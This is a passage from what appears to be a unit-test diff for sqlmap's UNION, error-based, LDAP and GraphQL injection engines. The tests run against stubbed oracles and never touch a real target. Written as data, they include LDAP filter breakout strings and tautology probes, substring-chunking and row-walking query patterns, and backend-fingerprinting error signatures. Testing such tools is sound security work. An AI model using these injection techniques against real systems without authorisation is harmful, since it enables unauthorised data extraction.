rec_concat(expression, unpack=True): + agent._lastexpr = expression + return expression + agent.concatQuery = rec_concat + agent.forgeUnionQuery = lambda *a, **k: "UNION-FORGED" + agent.payload = lambda place=None, parameter=None, value=None, newValue=None, where=None: "PAYLOAD" + unescaper.escape = lambda expression, *a, **k: expression + uu.initTechnique = lambda technique=None: None + + self._s_columns = os.environ.get("COLUMNS") + os.environ["COLUMNS"] = "80" + + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._sc.items(): + conf[k] = v + for k, v in self._sk.items(): + kb[k] = v + conf.batch = self._sbatch + Request.queryPage = self._sqp + uu.Request.queryPage = self._sqp + kb.counters = self._scounters + kb.injection.data = self._sinj_data + conf.hashDB = self._shashdb + agent.forgeUnionQuery = self._s_forge + agent.concatQuery = self._s_concat + agent.payload = self._s_payload + unescaper.escape = self._s_escape + agent._lastexpr = self._s_lastexpr + uu.initTechnique = self._s_initTechnique + + if self._s_columns is None: + os.environ.pop("COLUMNS", None) + else: + os.environ["COLUMNS"] = self._s_columns + + def _install_row_oracle(self, rows, count=None): + """rows: list of tuples (per-row columns). Oracle answers COUNT and per-LIMIT rows + from the recorded expression (agent._lastexpr), wrapping in real start/stop markers.""" + start, stop, delim = kb.chars.start, kb.chars.stop, kb.chars.delimiter + total = count if count is not None else len(rows) + + def oracle(payload=None, content=False, raise404=False, **kwargs): + expr = getattr(agent, "_lastexpr", "") or "" + if "COUNT" in expr.upper(): + body = str(total) + else: + m = re.search(r"LIMIT (\d+),1", expr) + idx = int(m.group(1)) if m else 0 + row = rows[idx] if 0 <= idx < len(rows) else ("?",) + body = delim.join(row) + page = "%s%s%s" % (start, body, stop) + return (page, AttribDict(), 200) if content else page + Request.queryPage = staticmethod(oracle) + uu.Request.queryPage = staticmethod(oracle) + + +class TestUnionPartialDump(_UnionLimitCase): + def test_multi_row_two_columns(self): + rows = [("1", "alice"), ("2", "bob"), ("3", "carol")] + self._install_row_oracle(rows) + value = uu.unionUse("SELECT id,name FROM users") + self.assertEqual(list(value), [["1", "alice"], ["2", "bob"], ["3", "carol"]]) + + def test_multi_row_single_column(self): + rows = [("alice",), ("bob",)] + self._install_row_oracle(rows) + value = uu.unionUse("SELECT name FROM users") + self.assertEqual([uu.unArrayizeValue(v) for v in value], ["alice", "bob"]) + + def test_query_count_matches_rows(self): + # one COUNT query + one query per row = 4 UNION requests for 3 rows + rows = [("1", "a"), ("2", "b"), ("3", "c")] + self._install_row_oracle(rows) + uu.unionUse("SELECT id,name FROM users") + self.assertEqual(kb.counters.get(PAYLOAD.TECHNIQUE.UNION), 1 + len(rows)) + + def test_count_returns_zero_empty(self): + # COUNT yields "0" -> empty-table sentinel (the function returns []), no row queries + self._install_row_oracle([], count=0) + value = uu.unionUse("SELECT id,name FROM users") + self.assertEqual(value, []) + + def test_single_row_count_one(self): + # COUNT yields "1": the multi-row thread loop is skipped, falls through to one one-shot + rows = [("solo",)] + self._install_row_oracle(rows, count=1) + value = uu.unionUse("SELECT name FROM users") + self.assertEqual(uu.unArrayizeValue(value), "solo") + + def test_length_limited_window(self): + # conf.limitStart/limitStop windowing (dump=True): only rows in [start, stop) survive. + # With limitStart=2, limitStop=4 over a 5-row table the engine COUNTs then walks + # offsets 1..3 -> rows index 1,2,3 -> "b","c","d". + conf.forcePartial = False + conf.limitStart = 2 + conf.limitStop = 4 + rows = [("a",), ("b",), ("c",), ("d",), ("e",)] + self._install_row_oracle(rows, count=5) + value = uu.unionUse("SELECT name FROM users", dump=True) + self.assertEqual([uu.unArrayizeValue(v) for v in value], ["b", "c", "d"]) + + +class TestOneShotUnionUseLimited(_UnionLimitCase): + """_oneShotUnionUse called directly with the `limited` flag set (the per-row caller's mode).""" + + def test_limited_single_row(self): + start, stop, delim = kb.chars.start, kb.chars.stop, kb.chars.delimiter + body = delim.join(("7", "zed")) + page = "%s%s%s" % (start, body, stop) + + def oracle(payload=None, content=False, raise404=False, **kwargs): + return (page, AttribDict(), 200) if content else page + Request.queryPage = staticmethod(oracle) + uu.Request.queryPage = staticmethod(oracle) + + retVal = uu._oneShotUnionUse("SELECT id,name FROM t LIMIT 0,1", unpack=True, limited=True) + self.assertEqual(retVal, page) + # one wrapped multi-column entry -> one row of two columns + self.assertEqual(list(uu.parseUnionPage(retVal)), [["7", "zed"]]) + + +# =========================================================================== +# ERROR-based: lib/techniques/error/use.py +# =========================================================================== + +# An error injection vector is consumed by agent.prefixQuery/suffixQuery (here stubbed +# to a pass-through that just yields the "[QUERY]" placeholder the engine substitutes into). +_ERR_VECTOR = ("pref", "suff", 2, "", "", "NULL", PAYLOAD.WHERE.ORIGINAL, False, False, None, None) + +_ERR_CONF = {"hexConvert": False, "noEscape": None, "verbose": 0, "api": False, + "reportJson": False, "limitStart": 0, "limitStop": 0, "noTruncate": True, + "threads": 1, "eta": False} +_ERR_KB = {"testMode": True, "safeCharEncode": False, "errorChunkLength": None, + "fileReadMode": False, "bruteMode": False, "threadContinue": True, + "suppressResumeInfo": False, "dumpTable": None} + + +class _ErrorCase(unittest.TestCase): + """Stub the forge/escape/transport seam so _oneShotErrorUse's OWN parsing (marker + extraction, trim repair, char restoration) is what is exercised.""" + + def setUp(self): + self._sc = {k: conf.get(k) for k in _ERR_CONF} + self._sk = {k: kb.get(k) for k in _ERR_KB} + self._sqp = Request.queryPage + self._scounters = kb.get("counters") + self._stechnique = kb.get("technique") + self._sinj_data = kb.injection.data + self._shashdb = conf.get("hashDB") + self._sbatch = conf.get("batch") + + self._s_prefix = agent.prefixQuery + self._s_suffix = agent.suffixQuery + self._s_payload = agent.payload + self._s_nullcast = agent.nullAndCastField + self._s_escape = unescaper.escape + + # restore thread state we touch + td = getCurrentThreadData() + self._s_td_uid = td.lastRequestUID + self._s_td_httperr = td.lastHTTPError + self._s_td_redirect = td.lastRedirectMsg + + for k, v in _ERR_CONF.items(): + conf[k] = v + for k, v in _ERR_KB.items(): + kb[k] = v + + conf.batch = True + conf.hashDB = None # disable session resume in these tests + kb.counters = {} + kb.technique = PAYLOAD.TECHNIQUE.ERROR + setTechnique(PAYLOAD.TECHNIQUE.ERROR) + + entry = AttribDict() + entry.vector = _ERR_VECTOR + entry.where = PAYLOAD.WHERE.ORIGINAL + kb.injection.data = {PAYLOAD.TECHNIQUE.ERROR: entry} + + # pass-through forge chain: the produced payload text carries the injExpression so + # the oracle can (optionally) branch on the requested field; agent.payload returns + # exactly the newValue it is handed. + agent.prefixQuery = lambda vector, *a, **k: "[QUERY]" + agent.suffixQuery = lambda query, *a, **k: query + agent.payload = lambda place=None, parameter=None, value=None, newValue=None, where=None: newValue + agent.nullAndCastField = lambda field: field + unescaper.escape = lambda expression, *a, **k: expression + + # getConsoleWidth() in _errorFields hits curses with no tty; pin COLUMNS so it doesn't + self._s_columns = os.environ.get("COLUMNS") + os.environ["COLUMNS"] = "80" + + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._sc.items(): + conf[k] = v + for k, v in self._sk.items(): + kb[k] = v + conf.batch = self._sbatch + Request.queryPage = self._sqp + eu.Request.queryPage = self._sqp + kb.counters = self._scounters + kb.technique = self._stechnique + setTechnique(None) + kb.injection.data = self._sinj_data + conf.hashDB = self._shashdb + + agent.prefixQuery = self._s_prefix + agent.suffixQuery = self._s_suffix + agent.payload = self._s_payload + agent.nullAndCastField = self._s_nullcast + unescaper.escape = self._s_escape + + td = getCurrentThreadData() + td.lastRequestUID = self._s_td_uid + td.lastHTTPError = self._s_td_httperr + td.lastRedirectMsg = self._s_td_redirect + + if self._s_columns is None: + os.environ.pop("COLUMNS", None) + else: + os.environ["COLUMNS"] = self._s_columns + + @staticmethod + def _wrap(body): + return "%s%s%s" % (kb.chars.start, body, kb.chars.stop) + + def _install_page(self, page): + def oracle(payload=None, content=False, raise404=False, **kwargs): + return (page, {}, 200) if content else page + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + + def _install_field_oracle(self, mapping): + """Oracle that branches on which field name appears in the forged payload (the + injExpression is passed through agent.payload unchanged, so it is in `payload`).""" + def oracle(payload=None, content=False, raise404=False, **kwargs): + body = "?" + for field, value in mapping.items(): + if field in (payload or ""): + body = value + break + page = "%s" % self._wrap(body) + return (page, {}, 200) if content else page + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + + +class TestOneShotErrorUse(_ErrorCase): + def test_single_value_extracted(self): + self._install_page("%s" % self._wrap("admin")) + self.assertEqual(eu._oneShotErrorUse("SELECT name"), "admin") + + def test_space_char_restored(self): + # the kb.chars.space placeholder (used to survive transport) is restored to a literal + # space by _errorReplaceChars. NOTE: the other char tokens (dollar/at/hash) are random + # per-run and may collide with the space token, so only space is asserted here. + body = "hello%sworld" % kb.chars.space + self._install_page(self._wrap(body)) + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "hello world") + + def test_no_markers_returns_none(self): + self._install_page("no useful markers here") + self.assertIsNone(eu._oneShotErrorUse("SELECT x")) + + def test_html_entities_unescaped(self): + # retVal goes through htmlUnescape() and
    -> newline on the way out + self._install_page(self._wrap("a & b
    c")) + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "a & b\nc") + + def test_counter_incremented(self): + self._install_page(self._wrap("v")) + eu._oneShotErrorUse("SELECT x") + self.assertEqual(kb.counters.get(PAYLOAD.TECHNIQUE.ERROR), 1) + + def test_field_substituted_into_expression(self): + # field is replaced (once) by nullAndCastField(field) before forging; the oracle keys + # on the field name in the resulting payload to prove the right column was requested + self._install_field_oracle({"surname": "Smith"}) + self.assertEqual(eu._oneShotErrorUse("SELECT surname FROM users", field="surname"), "Smith") + + def test_recovered_from_http_error_body(self): + # page itself carries no markers; the delimited value lives in the 500-error body + td = getCurrentThreadData() + td.lastRequestUID = 4242 + td.lastHTTPError = (4242, 500, "%s" % self._wrap("from-error-page")) + self._install_page("regular page, no markers") + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "from-error-page") + + def test_recovered_from_response_header(self): + # neither page nor error body has it; it is carried back in a response header value + body = self._wrap("hdr-value") + page = "nothing" + + def oracle(payload=None, content=False, raise404=False, **kwargs): + headers = {"X-Leak": body} + return (page, headers, 200) if content else page + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "hdr-value") + + def test_hex_convert_decoded(self): + # --hex: the delimited body is a hex string decoded by decodeDbmsHexValue + conf.hexConvert = True + self._install_page(self._wrap("48656C6C6F")) # "Hello" + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "Hello") + + def test_empty_value_between_markers(self): + self._install_page(self._wrap("")) + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "") + + +class TestOneShotErrorUseChunking(_ErrorCase): + """The MySQL multi-chunk reassembly loop: with kb.errorChunkLength set, output >= chunk + length triggers another request at the next offset; the engine concatenates the pieces.""" + + def setUp(self): + _ErrorCase.setUp(self) + kb.testMode = False # honor the chunk-offset loop + kb.errorChunkLength = 4 # pre-set so the length-probe search is skipped + conf.verbose = 0 + + def test_multi_chunk_reassembled(self): + # secret returned 4 chars at a time via SUBSTRING(expr, offset, 4); the loop walks offsets + secret = "abcdefghij" + + def oracle(payload=None, content=False, raise404=False, **kwargs): + # MySQL substring is rendered as MID((field),offset,length) + m = re.search(r"(?:MID|SUBSTRING)\(.*?,(\d+),(\d+)\)", payload or "") + if m: + off, length = int(m.group(1)), int(m.group(2)) + chunk = secret[off - 1:off - 1 + length] + else: + chunk = secret + return ("%s%s%s" % (kb.chars.start, chunk, kb.chars.stop), {}, 200) if content else None + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + + # a field is required for the SUBSTRING windowing branch to engage + self.assertEqual(eu._oneShotErrorUse("SELECT data FROM t", field="data"), secret) + + +class TestErrorFields(_ErrorCase): + """_errorFields iterates the field list, recovering one value per column.""" + + def test_multi_field_values(self): + self._install_field_oracle({"user": "alice", "pass": "s3cr3t"}) + values = eu._errorFields("SELECT user,pass FROM t", "user,pass", + ["user", "pass"], suppressOutput=True) + self.assertEqual(values, ["alice", "s3cr3t"]) + + def test_single_field_value(self): + self._install_field_oracle({"email": "root@localhost"}) + values = eu._errorFields("SELECT email FROM t", "email", ["email"], suppressOutput=True) + self.assertEqual(values, ["root@localhost"]) + + def test_empty_field_yields_null(self): + # a field listed in emptyFields is short-circuited to the NULL sentinel (no oracle hit) + from lib.core.settings import NULL + + def boom(*a, **k): + raise AssertionError("oracle must not be called for an empty field") + Request.queryPage = staticmethod(boom) + eu.Request.queryPage = staticmethod(boom) + values = eu._errorFields("SELECT col FROM t", "col", ["col"], + emptyFields=["col"], suppressOutput=True) + self.assertEqual(values, [NULL]) + + def test_rownum_field_skipped(self): + # a "ROWNUM " field is skipped entirely (Oracle limit artifact) + self._install_field_oracle({"name": "bob"}) + values = eu._errorFields("SELECT name FROM t", "name", + ["ROWNUM x", "name"], suppressOutput=True) + self.assertEqual(values, ["bob"]) + + +class TestErrorUse(_ErrorCase): + """errorUse() orchestration. initTechnique() needs a full injection session; stub it so + the orchestration + _errorFields extraction + result shaping is what is exercised.""" + + def setUp(self): + _ErrorCase.setUp(self) + self._s_initTechnique = eu.initTechnique + eu.initTechnique = lambda technique=None: None + + def tearDown(self): + eu.initTechnique = self._s_initTechnique + _ErrorCase.tearDown(self) + + def test_scalar_value(self): + # scalar expression (no FROM): single one-shot extraction, unwrapped from the list + self._install_page(self._wrap("5.7.40")) + self.assertEqual(eu.errorUse("SELECT VERSION()"), "5.7.40") + + def test_scalar_no_output_none(self): + self._install_page("no markers") + self.assertIsNone(eu.errorUse("SELECT VERSION()")) + + def test_multi_row_dump(self): + # dump=True over a FROM-table query: errorUse COUNTs the rows then LIMIT-walks them, + # reconstructing each row's single column value in order + conf.limitStart = 1 + conf.limitStop = 3 + rows = {0: "alice", 1: "bob", 2: "carol"} + + def oracle(payload=None, content=False, raise404=False, **kwargs): + nv = payload or "" + if "COUNT" in nv.upper(): + body = "3" + else: + m = re.search(r"LIMIT (\d+),1", nv) + idx = int(m.group(1)) if m else 0 + body = rows.get(idx, "?") + return ("%s%s%s" % (kb.chars.start, body, kb.chars.stop), {}, 200) if content else None + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + + value = eu.errorUse("SELECT name FROM users", dump=True) + self.assertEqual([eu.unArrayizeValue(v) for v in value], ["alice", "bob", "carol"]) + + def test_dump_zero_count_returns_empty(self): + # COUNT yields "0" (non-positive) -> the query returned no output -> None + conf.limitStart = 1 + conf.limitStop = 10 + + def oracle(payload=None, content=False, raise404=False, **kwargs): + nv = payload or "" + body = "0" if "COUNT" in nv.upper() else "x" + return ("%s%s%s" % (kb.chars.start, body, kb.chars.stop), {}, 200) if content else None + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + # a "0" count is truthy-but-not-positive -> empty-table sentinel (returns []) + self.assertEqual(eu.errorUse("SELECT name FROM users", dump=True), []) + + +# =========================================================================== +# LDAP: lib/techniques/ldap/inject.py +# =========================================================================== + +class TestLdapPureHelpers(unittest.TestCase): + def test_ratio(self): + self.assertEqual(ldap._ratio("abc", "abc"), 1.0) + self.assertLess(ldap._ratio("hello", "zzzzz"), 0.5) + self.assertEqual(ldap._ratio(None, None), 1.0) + + def test_ldap_literal_escapes_metachars(self): + self.assertEqual(ldap._ldapLiteral("a*b(c)"), "a\\2ab\\28c\\29") + + def test_ldap_literal_backslash(self): + self.assertEqual(ldap._ldapLiteral("a\\b"), "a\\5cb") + + def test_transport_encode(self): + self.assertEqual(ldap._transportEncode("a b&c=d"), "a%20b%26c%3Dd") + + def test_is_password_param(self): + self.assertTrue(ldap._isPasswordParam("password")) + self.assertTrue(ldap._isPasswordParam("userPwd")) + self.assertTrue(ldap._isPasswordParam("auth_token")) + self.assertFalse(ldap._isPasswordParam("username")) + self.assertFalse(ldap._isPasswordParam(None)) + + def test_is_error(self): + self.assertTrue(ldap._isError("LdapErr: DSID-0123ABCD")) + self.assertTrue(ldap._isError("Invalid DN syntax (34)")) + self.assertFalse(ldap._isError("everything is fine")) + + def test_backend_from_error(self): + self.assertEqual(ldap._backendFromError("LdapErr: DSID-0AB12345 problem"), + "Microsoft Active Directory") + # a generic LDAP error that matches the umbrella regex but no specific signature + self.assertEqual(ldap._backendFromError("Invalid DN syntax (34)"), "OpenLDAP") + self.assertIsNone(ldap._backendFromError("no error at all")) + + def test_fingerprint_by_error(self): + self.assertEqual(ldap._fingerprintByError("Microsoft Active Directory"), + "Microsoft Active Directory") + self.assertEqual(ldap._fingerprintByError("OpenLDAP"), "OpenLDAP") + self.assertEqual(ldap._fingerprintByError("ApacheDS"), "ApacheDS") + self.assertEqual(ldap._fingerprintByError("389 Directory Server"), + "389 Directory Server") + self.assertIsNone(ldap._fingerprintByError(None)) + + def test_grid_renders_table(self): + grid = ldap._grid(["a", "bb"], [["1", "2"], ["33", "4"]]) + self.assertIn("| a | bb |", grid) + self.assertIn("| 33 | 4 |", grid) + # header + 2 rows + 4 separators (top, under-header, ... actually 3 borders + n rows) + self.assertEqual(grid.count("+----+----+"), 3) + + def test_charset_includes_metachars_escaped(self): + # filter metacharacters ARE extractable - _ldapLiteral() escapes them, so a value containing + # '*'/'('/')'/'\\' is recovered in full rather than truncated at the first one + for meta in ("*", "(", ")", "\\"): + self.assertIn(ord(meta), ldap._CHARSET) + self.assertIn(ord("a"), ldap._CHARSET) + self.assertIn(ord("0"), ldap._CHARSET) + # common characters are still tried before the (rare) metacharacters + self.assertLess(ldap._CHARSET.index(ord("a")), ldap._CHARSET.index(ord("*"))) + # the escaping the extractor relies on + self.assertEqual(ldap._ldapLiteral("abc*def"), "abc\\2adef") + self.assertIn("\\28", ldap._ldapLiteral("x(y)")) + + def test_probe_builder_shapes(self): + b = ldap._ProbeBuilder("*)") + self.assertTrue(b.presence("uid").endswith("(uid=*")) + self.assertIn("(cn=adm*", b.prefix("cn", "adm")) + # compound probe closes its own (&...) and opens a suffix-eater + compound = b.presence("uid", constraint=("ou", "people")) + self.assertIn("(ou=people)", compound) + self.assertIn("(objectClass=", compound) + + def test_probe_builder_default_breakout(self): + b = ldap._ProbeBuilder(None) + self.assertEqual(b.breakout, ")") + + +class _LdapOracleCase(unittest.TestCase): + """Drive the real boolean oracle + blind inference against an in-process directory. + The _send seam is replaced by a function that simulates an LDAP-to-application filter + match: a payload's trailing assertion '(attr=value*' matches when the directory holds + `attr` whose value starts with `value`.""" + + DIRECTORY = {"objectClass": "top", "uid": "admin", "mail": "bob", "cn": "Administrator"} + + def setUp(self): + self._sparams = conf.get("parameters") + self._spdict = conf.get("paramDict") + self._scookiedel = conf.get("cookieDel") + self._ssend = ldap._send + + conf.parameters = {PLACE.GET: "user=admin"} + conf.paramDict = {PLACE.GET: {"user": "admin"}} + conf.cookieDel = None + # the boolean tests exercise the content-similarity path; null any explicit user oracle that + # an earlier test module may have left set (the engines now honor --string/--regexp globally) + conf.string = conf.notString = conf.regexp = conf.code = None + + directory = self.DIRECTORY + + def fake_send(place, parameter, value): + assertions = re.findall(r"\((\w+)=([^()]*)", value) + if not assertions: + return "FALSE-PAGE-baseline-content" + attr, pat = assertions[-1] + pat = pat.rstrip("*") + if attr in directory and directory[attr].startswith(pat): + return "TRUE-CONTENT-stable-match-%s" % attr + return "FALSE-PAGE-baseline-content" + + ldap._send = fake_send + + def tearDown(self): + conf.parameters = self._sparams + conf.paramDict = self._spdict + conf.cookieDel = self._scookiedel + ldap._send = self._ssend + + +class TestLdapParamSegment(_LdapOracleCase): + def test_original_value(self): + self.assertEqual(ldap._originalValue(PLACE.GET, "user"), "admin") + + def test_original_value_from_paramdict_fallback(self): + self.assertEqual(ldap._originalValue(PLACE.GET, "missing"), "") + + def test_replace_segment(self): + self.assertEqual(ldap._replaceSegment(PLACE.GET, "user", "XYZ"), "user=XYZ") + + +class TestLdapOracle(_LdapOracleCase): + def _oracle(self): + # _makeOracle now recalibrates its own true/false models on the winning breakout + SENTINEL + # base (matched (objectClass=*) vs (objectClass=)); pass the breakout, not a template + return ldap._makeOracle(PLACE.GET, "user", ")") + + def test_exists_true(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + self.assertTrue(ldap._exists(oracle, builder, "uid")) + + def test_exists_false(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + self.assertFalse(ldap._exists(oracle, builder, "nonexistent")) + + def test_infer_attribute_uid(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + self.assertEqual(ldap._inferAttribute(oracle, builder, "uid"), "admin") + + def test_infer_attribute_mail(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + self.assertEqual(ldap._inferAttribute(oracle, builder, "mail"), "bob") + + def test_infer_attribute_missing_none(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + self.assertIsNone(ldap._inferAttribute(oracle, builder, "zzz")) + + def test_enumerate_entry_keys(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + keyAttr, values, partial = ldap._enumerateEntryKeys(oracle, builder) + self.assertEqual(keyAttr, "uid") + self.assertEqual(values, ["admin"]) + self.assertFalse(partial) # clean end, not an inconclusive abort + + +class TestLdapBoolean(_LdapOracleCase): + def test_boolean_divergent_returns_true_page(self): + page = ldap._boolean(lambda: "TRUE-STABLE-CONTENT-HERE", + lambda: "FALSE-DIFFERENT-PAGE-XX") + self.assertEqual(page, "TRUE-STABLE-CONTENT-HERE") + + def test_boolean_identical_returns_none(self): + self.assertIsNone(ldap._boolean(lambda: "SAME-PAGE", lambda: "SAME-PAGE")) + + def test_boolean_error_true_returns_none(self): + self.assertIsNone(ldap._boolean(lambda: "Invalid DN syntax (34)", + lambda: "anything")) + + def test_detect_boolean_finds_tautology(self): + # the fake oracle returns a stable TRUE page for any tautology assertion + # '(objectClass=*' / '(uid=*' / '(cn=*' and a distinct FALSE page for SENTINEL + template, payload, breakout = ldap._detectBoolean(PLACE.GET, "user") + self.assertIsNotNone(template) + self.assertIsNotNone(breakout) + self.assertIn("=*", payload) + + +# =========================================================================== +# GraphQL: lib/techniques/graphql/inject.py +# =========================================================================== + +class TestGraphqlPureHelpers(unittest.TestCase): + def test_unwrap_type_chain(self): + t = {"kind": "NON_NULL", "name": None, + "ofType": {"kind": "LIST", "name": None, + "ofType": {"kind": "SCALAR", "name": "String"}}} + self.assertEqual(gql._unwrapType(t), + [("NON_NULL", None), ("LIST", None), ("SCALAR", "String")]) + + def test_unwrap_type_depth_guard(self): + # malformed / non-dict terminates without recursion error + self.assertEqual(gql._unwrapType("notadict"), []) + + def test_leaf_name(self): + chain = [("NON_NULL", None), ("SCALAR", "Int")] + self.assertEqual(gql._leafName(chain), "Int") + self.assertIsNone(gql._leafName([("LIST", None)])) + + def test_classify_arg(self): + self.assertEqual(gql._classifyArg({"kind": "SCALAR", "name": "String"}), "string") + self.assertEqual(gql._classifyArg({"kind": "SCALAR", "name": "Int"}), "numeric") + self.assertEqual(gql._classifyArg({"kind": "SCALAR", "name": "ID"}), "id_dual") + self.assertIsNone(gql._classifyArg({"kind": "SCALAR", "name": "DateTime"})) + + def test_escape_graphql_string(self): + self.assertEqual(gql._escapeGraphQLString('a"b\\c'), 'a\\"b\\\\c') + self.assertEqual(gql._escapeGraphQLString("a\nb"), "a\\nb") + + def test_cell(self): + self.assertEqual(gql._cell(None), "NULL") + self.assertEqual(gql._cell({"b": 1, "a": 2}), '{"a": 2, "b": 1}') + self.assertEqual(gql._cell("plain"), "plain") + self.assertEqual(gql._cell(7), "7") + + def test_chunks(self): + self.assertEqual(list(gql._chunks([1, 2, 3, 4, 5], 2)), [[1, 2], [3, 4], [5]]) + + def test_render_arg(self): + self.assertEqual(gql._renderArg("id", "5", "numeric"), "id:5") + self.assertEqual(gql._renderArg("n", "hi", "string"), 'n:"hi"') + self.assertEqual(gql._renderArg("id", "9", "id_dual"), "id:9") # digit -> bare + self.assertEqual(gql._renderArg("id", "ab", "id_dual"), 'id:"ab"') # non-digit -> quoted + + def test_render_type_str(self): + self.assertEqual(gql._renderTypeStr(gql._unwrapType( + {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String"}})), "String!") + self.assertEqual(gql._renderTypeStr(gql._unwrapType( + {"kind": "LIST", "name": None, "ofType": {"kind": "OBJECT", "name": "User"}})), "[User]") + + def test_parse_json(self): + self.assertEqual(gql._parseJSON('{"a": 1}'), {"a": 1}) + self.assertIsNone(gql._parseJSON("not json")) + self.assertIsNone(gql._parseJSON("")) + + def test_is_graphql_response(self): + self.assertTrue(gql._isGraphQLResponse('{"data": {"__typename": "Query"}}')) + self.assertFalse(gql._isGraphQLResponse('{"data": {"id": 1}}')) + self.assertFalse(gql._isGraphQLResponse("[]")) + + def test_error_text(self): + page = '{"errors": [{"message": "boom", "extensions": {"code": "BAD"}}]}' + text = gql._errorText(page) + self.assertIn("boom", text) + self.assertIn("BAD", text) + self.assertEqual(gql._errorText("{}"), "") + + def test_slot_value(self): + self.assertEqual(gql._slotValue('{"data": {"f": {"x": 1}}}'), '{"x": 1}') + # non-graphql passes through unchanged + self.assertEqual(gql._slotValue("raw"), "raw") + + def _nn(self, inner): + return {"kind": "NON_NULL", "ofType": inner} + + def test_render_sibling_omits_optionals(self): + # OPTIONAL argument (not NON_NULL) with no default -> OMITTED (None), never a bogus sentinel + # that would invalidate the query and cause a false negative + self.assertIsNone(gql._renderSibling("limit", {"kind": "SCALAR", "name": "Int"}, None)) + self.assertIsNone(gql._renderSibling("active", {"kind": "SCALAR", "name": "Boolean"}, None)) + self.assertIsNone(gql._renderSibling("tags", {"kind": "LIST"}, None)) + + def test_render_sibling_required_native_syntax(self): + # REQUIRED (NON_NULL) argument with no default -> synthesize NATIVE syntax per kind + self.assertEqual(gql._renderSibling("limit", self._nn({"kind": "SCALAR", "name": "Int"}), None), "limit:0") + self.assertEqual(gql._renderSibling("q", self._nn({"kind": "SCALAR", "name": "String"}), None), 'q:"x"') + self.assertEqual(gql._renderSibling("active", self._nn({"kind": "SCALAR", "name": "Boolean"}), None), "active:false") + self.assertEqual(gql._renderSibling("ids", self._nn({"kind": "LIST", "ofType": {"kind": "SCALAR", "name": "Int"}}), None), "ids:[]") + self.assertEqual(gql._renderSibling("cfg", self._nn({"kind": "INPUT_OBJECT", "name": "Cfg"}), None), "cfg:{}") + + def test_required_nested_input_object_is_recursively_populated(self): + # SearchInput!{ filter: FilterInput!{ term: String! (req), note: String (opt) } }: a required + # nested input must populate its REQUIRED inner fields recursively, not emit a bare {} the + # server rejects; optional inner fields are omitted + gql._inputFields.clear() + gql._inputFields["SearchInput"] = [("filter", self._nn({"kind": "INPUT_OBJECT", "name": "FilterInput"}), None)] + gql._inputFields["FilterInput"] = [ + ("term", self._nn({"kind": "SCALAR", "name": "String"}), None), + ("note", {"kind": "SCALAR", "name": "String"}, None), + ] + try: + out = gql._renderSibling("input", self._nn({"kind": "INPUT_OBJECT", "name": "SearchInput"}), None) + self.assertEqual(out, 'input:{filter:{term:"x"}}') # required term populated, optional note omitted + finally: + gql._inputFields.clear() + + def test_recursive_input_cycle_is_bounded(self): + # a self-referential required input must not recurse forever - it terminates at {} + gql._inputFields.clear() + gql._inputFields["Node"] = [("child", self._nn({"kind": "INPUT_OBJECT", "name": "Node"}), None)] + try: + out = gql._renderSibling("n", self._nn({"kind": "INPUT_OBJECT", "name": "Node"}), None) + self.assertTrue(out.startswith("n:{child:")) + self.assertIn("{}", out) # cycle broken with a bare {} + finally: + gql._inputFields.clear() + + def test_render_sibling_required_enum_uses_bare_identifier(self): + gql._enumValues.clear() + gql._enumValues["Role"] = ["ADMIN", "USER"] + try: + self.assertEqual(gql._renderSibling("role", self._nn({"kind": "ENUM", "name": "Role"}), None), "role:ADMIN") + finally: + gql._enumValues.clear() + + def test_render_sibling_default_emitted_verbatim(self): + # a schema defaultValue is ALREADY a serialized GraphQL literal -> emit VERBATIM, never re-quote + self.assertEqual(gql._renderSibling("active", {"kind": "SCALAR", "name": "Boolean"}, "true"), "active:true") + self.assertEqual(gql._renderSibling("role", {"kind": "ENUM", "name": "Role"}, "ADMIN"), "role:ADMIN") + self.assertEqual(gql._renderSibling("ids", {"kind": "LIST"}, "[1, 2]"), "ids:[1, 2]") + self.assertEqual(gql._renderSibling("filter", {"kind": "INPUT_OBJECT"}, "{a: 1}"), "filter:{a: 1}") + self.assertEqual(gql._renderSibling("n", {"kind": "SCALAR", "name": "Int"}, "5"), "n:5") + self.assertEqual(gql._renderSibling("q", {"kind": "SCALAR", "name": "String"}, '"hello"'), 'q:"hello"') + + def _nnInput(self, name): + return {"kind": "NON_NULL", "ofType": {"kind": "INPUT_OBJECT", "name": name}} + + def test_deep_nested_input_slot_discovered_and_rendered(self): + # search(input: SearchInput!{ filter: FilterInput!{ credentials: Creds!{ username: String! } } }) + # the injectable leaf is input.filter.credentials.username, THREE levels deep - it must be both + # DISCOVERED as a slot and RENDERED as the full nested literal + gql._inputFields.clear() + gql._inputFields["SearchInput"] = [("filter", self._nnInput("FilterInput"), None)] + gql._inputFields["FilterInput"] = [("credentials", self._nnInput("Creds"), None)] + gql._inputFields["Creds"] = [("username", self._nn({"kind": "SCALAR", "name": "String"}), None)] + try: + slots = [] + gql._inputSlots("query", "Query", "search", + [("input", self._nnInput("SearchInput"), None)], + "input", self._nnInput("SearchInput"), + "OBJECT", "User", "{ id }", + {"SearchInput": {"kind": "INPUT_OBJECT", "name": "SearchInput", "inputFields": [{"name": "filter", "type": self._nnInput("FilterInput")}]}, + "FilterInput": {"kind": "INPUT_OBJECT", "name": "FilterInput", "inputFields": [{"name": "credentials", "type": self._nnInput("Creds")}]}, + "Creds": {"kind": "INPUT_OBJECT", 